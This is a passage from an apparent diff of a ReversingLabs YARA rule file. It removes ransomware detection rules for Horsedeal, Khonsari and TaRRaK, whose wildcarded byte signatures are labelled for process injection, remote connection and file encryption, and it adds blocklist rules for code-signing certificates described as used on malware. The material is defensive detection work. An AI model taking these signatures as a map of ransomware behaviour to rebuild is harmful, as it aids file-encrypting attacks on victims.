FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? - ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 - ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? - ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 - ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ?? - ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B - 4D ?? 85 C9 74 ?? 51 8B D0 E8 ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 8B 75 ?? 83 C4 ?? - 2B CE F7 E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 8D 0C 40 8B C6 C1 E1 ?? 81 F9 ?? ?? ?? ?? - 72 ?? 8B 76 ?? 83 C1 ?? 2B C6 83 C0 ?? 83 F8 ?? 77 ?? 51 56 E8 ?? ?? ?? ?? 83 C4 ?? - 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 - 5B C3 E8 - } - $remote_connection_p1 = { - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? C7 45 - ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 28 45 - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 29 45 ?? 0F 28 45 - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 50 0F 29 45 ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 - ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 0F 29 45 ?? - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 29 45 - } - $remote_connection_p2 = { - 0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 50 0F 29 45 - ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 - ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B8 ?? - ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 - 0F 43 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? - 0F 43 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 50 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? - E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 - 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 FA ?? 72 ?? 8B - 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? - 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 - } - $encrypt_files = { - 8B FF 55 8B EC 83 EC ?? 8B 4D ?? 89 4D ?? 53 56 8B 75 ?? 57 8B 7D ?? 89 7D ?? 85 C9 - 0F 84 ?? ?? ?? ?? 85 FF 75 ?? E8 ?? ?? ?? ?? 83 20 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B C6 8B D6 C1 FA ?? 83 E0 ?? 6B C0 ?? 89 - 55 ?? 8B 14 95 ?? ?? ?? ?? 89 45 ?? 8A 5C 02 ?? 80 FB ?? 74 ?? 80 FB ?? 75 ?? 8B C1 - F7 D0 A8 ?? 74 ?? 8B 45 ?? F6 44 02 ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? - 83 C4 ?? 56 E8 ?? ?? ?? ?? 59 84 C0 74 ?? 84 DB 74 ?? FE CB 80 FB ?? 0F 87 ?? ?? ?? - ?? FF 75 ?? 8D 45 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 E9 ?? ?? ?? ?? FF 75 ?? 8D - 45 ?? 57 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 45 ?? 8B 0C 85 ?? ?? ?? ?? 8B 45 ?? - 80 7C 01 ?? ?? 7D ?? 0F BE C3 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 0F 85 ?? ?? ?? - ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? - ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? ?? ?? ?? EB ?? 8B 4C 01 ?? 8D 7D ?? - 33 C0 AB 6A ?? AB AB 8D 45 ?? 50 FF 75 ?? FF 75 ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? - FF 15 ?? ?? ?? ?? 89 45 ?? 8D 75 ?? 8D 7D ?? A5 A5 A5 8B 45 ?? 85 C0 75 ?? 8B 45 ?? - 85 C0 74 ?? 6A ?? 5E 3B C6 75 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 - 30 E9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? 8B 4D ?? 8B - 04 85 ?? ?? ?? ?? F6 44 08 ?? ?? 74 ?? 80 3F ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 20 ?? E9 ?? ?? ?? ?? 2B 45 ?? EB ?? 33 C0 5F 5E 5B C9 C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $inject_code_into_process ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Select'Assistance Pro" and pe.signatures [ i ] . serial == "06:ce:20:94:77:f1:ac:19:a2:04:9b:dc:58:46:a8:31" and 1426710344 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Horsedeal : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_447F449121B883211663B7B7E2Ead868 : INFO FILE { meta: - description = "Yara rule that detects Horsedeal ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c722bc5b-756e-5d46-8530-e20ebb73737c" - date = "2020-10-01" - modified = "2020-10-01" + id = "a3ee3618-0e20-5d9c-a514-9020607bd1b0" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Horsedeal.yara#L1-L106" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16194-L16210" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fa8c425b08606399b5dc7673f3898e3dba7efb6a62e56db8f500cf5072bb590b" + logic_hash = "f473a939d1a27cf53c09d0e4a3753a9444ae3674a55d5b0feafeef6b75dd487f" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Horsedeal" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_processes = { - 55 8B EC 81 EC ?? ?? ?? ?? 56 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 8D - 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 - FF 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF B5 ?? ?? ?? - ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 53 FF - 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5B 56 FF 15 ?? - ?? ?? ?? 5E C9 C3 - } - $enum_resources = { - 55 8B EC 83 E4 ?? 83 EC ?? 83 0C 24 ?? 8D 44 24 ?? 53 56 57 50 FF 75 ?? C7 44 24 ?? - ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 ?? E8 ?? ?? ?? - ?? 8B F0 85 F6 74 ?? EB ?? 33 DB 39 5C 24 ?? 76 ?? 8D 7E ?? F6 47 ?? ?? 74 ?? 8D 47 - ?? 50 E8 ?? ?? ?? ?? EB ?? FF 37 E8 ?? ?? ?? ?? 43 83 C7 ?? 59 3B 5C 24 ?? 72 ?? 8D - 44 24 ?? 50 56 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B CE E8 ?? - ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - $find_files = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 53 56 8B 35 ?? ?? ?? ?? 57 - 8B 7D ?? 74 ?? 68 ?? ?? ?? ?? 57 FF D6 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? - ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? - ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83 - C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D - 44 24 ?? 50 FF D6 85 C0 74 ?? 53 E8 ?? ?? ?? ?? 59 EB ?? 8B 44 24 ?? A8 ?? 74 ?? 68 - ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? - 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 8B CB E8 ?? ?? - ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 - ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? - ?? ?? 83 C4 ?? 33 FF 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? - ?? ?? 8B F0 89 74 24 ?? 83 FE ?? 74 ?? 57 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 68 ?? ?? - ?? ?? FF D7 50 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 6A ?? 8D 44 24 ?? 50 FF 35 - ?? ?? ?? ?? FF D7 8B 7C 24 ?? 50 FF 35 ?? ?? ?? ?? 57 FF D6 57 FF 15 ?? ?? ?? ?? 8B - CB E8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 8B 35 ?? ?? ?? ?? 57 FF 35 ?? ?? ?? ?? - 8B F9 89 7D ?? FF D6 FF 35 ?? ?? ?? ?? 8B D8 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF - D6 3B C3 0F 84 ?? ?? ?? ?? 6A ?? 59 33 DB 89 4D ?? 8B C3 88 9C 05 ?? ?? ?? ?? 40 3D - ?? ?? ?? ?? 72 ?? 8D 85 ?? ?? ?? ?? 50 51 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 89 45 ?? 8A 84 0D ?? ?? ?? ?? 88 44 0D ?? - 41 83 F9 ?? 72 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 53 6A ?? 53 FF 35 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? 58 50 53 6A ?? 68 ?? ?? ?? ?? - 57 89 45 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 57 FF D6 - 8D 0C 47 83 E9 ?? 66 83 39 ?? 75 ?? FF 35 ?? ?? ?? ?? 2B CF 83 C1 ?? D1 F9 8D 04 4F - 50 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF 35 ?? ?? ?? ?? FF D6 FF 75 ?? 8B F0 FF - 15 ?? ?? ?? ?? 3B C6 75 ?? 33 F6 46 EB ?? 8B 75 ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? - 8B 4D ?? 8B 45 ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 33 F6 46 85 F6 74 ?? 8B 35 - ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - } - $encrypt_files_p2 = { - 53 FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? 8D 55 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 99 6A ?? 6A ?? 52 50 53 FF D7 6A ?? 8D 45 ?? 50 FF - 75 ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 81 7D ?? ?? ?? ?? ?? 74 ?? E9 ?? ?? ?? ?? 6A ?? - 6A ?? 51 0F 57 C0 50 66 0F 13 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 2D ?? ?? ?? ?? 8B 35 ?? - ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 DA ?? 89 45 ?? 8B 45 ?? 2D ?? ?? ?? ?? 89 55 ?? 89 45 - ?? 8D 45 ?? 83 D9 ?? 89 45 ?? 89 4D ?? 6A ?? 6A ?? FF 70 ?? FF 30 53 FF D7 6A ?? 8D - 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? 8D - 55 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 99 6A - ?? 6A ?? 52 50 53 FF D7 6A ?? 8D 45 ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 8B - 45 ?? 83 C0 ?? 83 6D ?? ?? 89 45 ?? 75 ?? 8B 7D ?? 0F 57 C0 6A ?? 6A ?? 66 0F 13 45 - ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A - ?? 8D 45 ?? 50 53 FF D6 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF - D6 53 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? - ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 57 FF 15 ?? ?? - ?? ?? 8B CE E8 ?? ?? ?? ?? 5F 5E 5B C9 C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $search_processes ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3 AM CHP" and pe.signatures [ i ] . serial == "44:7f:44:91:21:b8:83:21:16:63:b7:b7:e2:ea:d8:68" and 1443052800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Khonsari : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6366A9Ac97Df4De17366943C9B291Aaa : INFO FILE { meta: - description = "Yara rule that detects Khonsari ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c3c64256-af1f-5a9d-8a59-8d72993bb8da" - date = "2022-01-27" - modified = "2022-01-27" + id = "77d6756b-e948-5771-9ec1-f5159b0e792c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Khonsari.yara#L1-L68" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16212-L16228" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f1003b7863215bcd8e5cdce8ce40551105fb668ea2b8ac765909f9fa5373e6ca" + logic_hash = "dcdfb78d4d779b1cabcdf5b2da1fa27aaa9faaed4d4967630ce45f30304fe227" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Khonsari" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 73 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? - 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 0B - 16 0C 2B ?? 07 08 9A 0D 09 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ?? - ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 09 - 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 17 58 0C 08 07 8E 69 32 ?? 06 1B 28 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 06 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 - ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 06 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 2D ?? 00 11 - ?? 7E ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 72 ?? - ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F - ?? ?? ?? ?? DC DE ?? 26 DE ?? 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE 16 ?? - ?? ?? ?? 6F ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? - 28 ?? ?? ?? ?? 26 2A - } - $get_key = { - 73 ?? ?? ?? ?? 0A 06 12 ?? FE 15 ?? ?? ?? ?? 12 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 - ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D - ?? ?? ?? ?? 12 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ?? - ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 07 6F ?? - ?? ?? ?? 06 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 - ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 17 6F ?? - ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 08 2A - } - $encrypt_files = { - 28 ?? ?? ?? ?? 0A 06 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 13 ?? 11 ?? 6F ?? ?? ?? ?? 06 20 - ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 6F ?? ?? - ?? ?? 06 19 6F ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 6F - ?? ?? ?? ?? 06 06 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 02 03 07 28 ?? ?? - ?? ?? 0C DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 2C ?? 06 6F ?? ?? ?? ?? DC 08 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $get_key ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "xlgames" and pe.signatures [ i ] . serial == "63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa" and 1326796477 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Tarrak : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_66E3F0B4459F15Ac7F2A2B44990Dd709 : INFO FILE { meta: - description = "Yara rule that detects TaRRaK ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a783df87-0c9b-5868-9af0-c32b11e8b71b" - date = "2021-09-06" - modified = "2021-09-06" + id = "2fc1303f-e559-59ba-a1b9-b74a154d8805" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.TaRRaK.yara#L1-L96" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16230-L16246" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a8c4c4a501d94da94ae4a2e1eb2846e841249659be64dd45f46584885d000635" + logic_hash = "a563f1485ae8887c46f45d1366f676894c7db55954671825b37372f786ce0d3d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "TaRRaK" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 73 ?? ?? ?? ?? 0D 09 08 28 ?? ?? ?? ?? 7D - ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? - 02 08 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 ?? DE ?? 26 DE ?? 00 03 28 ?? ?? ?? ?? - 0A 16 0B 2B ?? 06 07 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? 